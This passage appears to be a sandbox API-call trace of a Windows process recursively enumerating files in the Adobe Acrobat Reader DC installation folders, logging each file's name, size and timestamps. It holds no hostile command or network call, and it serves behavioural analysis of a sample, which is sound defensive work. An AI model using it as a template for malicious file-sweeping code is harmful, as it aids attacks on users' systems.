	[0163.767] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x179063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1
	[0163.767] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa6659d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69663, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PDDom.api", cAlternateFileName="")) returned 1
	[0163.767] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pi_brokers", cAlternateFileName="PI_BRO~1")) returned 1
	[0163.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0163.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\pi_brokers\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.768] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35209fae, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec8aaee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.768] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8718ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x199f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32BitMAPIBroker.exe", cAlternateFileName="32BITM~1.EXE")) returned 1
	[0163.768] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 1
	[0163.768] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec8aaee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3b7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="64BitMAPIBroker.exe", cAlternateFileName="64BITM~1.EXE")) returned 0
	[0163.768] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0163.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0163.768] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PPKLite.api", cAlternateFileName="")) returned 1
	[0163.768] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1a663, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReadOutLoud.api", cAlternateFileName="READOU~1.API")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa8c7f9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x54263, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="reflow.api", cAlternateFileName="")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfab2a59, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6a663, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SaveAsRTF.api", cAlternateFileName="SAVEAS~1.API")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2df53af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69463, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Search.api", cAlternateFileName="")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe067842e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1d1663, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SendMail.api", cAlternateFileName="")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfad8cb5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4a463, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Spelling.api", cAlternateFileName="")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb0b100, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda6f4116, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcbb0b100, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x4d663, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="StorageConnectors.api", cAlternateFileName="STORAG~1.API")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x24063, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Updater.api", cAlternateFileName="")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="weblink.api", cAlternateFileName="")) returned 1
	[0163.769] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe069e67c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49a63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="weblink.api", cAlternateFileName="")) returned 0
	[0163.770] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0163.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.770] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="PLUG_I~1")) returned 1
	[0163.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.770] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0163.770] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdfc09f77, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.770] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb25160, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xa55f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2d.x3d", cAlternateFileName="")) returned 1
	[0163.771] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb4b3cd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3c3f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3difr.x3d", cAlternateFileName="")) returned 1
	[0163.771] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfb71615, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xc3ff0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1
	[0163.771] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfafef26, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1
	[0163.771] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prc", cAlternateFileName="")) returned 1
	[0163.771] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0163.771] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0163.771] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.771] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 0
	[0163.772] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0163.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfbe3d1f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2437f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="prcr.x3d", cAlternateFileName="")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc09f77, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x5df0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 0
	[0163.772] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0163.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmd.cer", cAlternateFileName="")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7a5f26, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xd250, dwReserved0=0x0, dwReserved1=0x0, cFileName="reader_sl.exe", cAlternateFileName="READER~1.EXE")) returned 1
	[0163.772] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1bb1353b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x184a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt3d.dll", cAlternateFileName="")) returned 1
	[0163.773] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37cf4fbf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTC.der", cAlternateFileName="")) returned 1
	[0163.773] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x386f10de, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8f8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScCore.dll", cAlternateFileName="")) returned 1
	[0163.773] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b7cc16f, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ee50, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1
	[0163.773] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1
	[0163.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.773] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddec0
	[0163.774] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387172c5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38907108, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
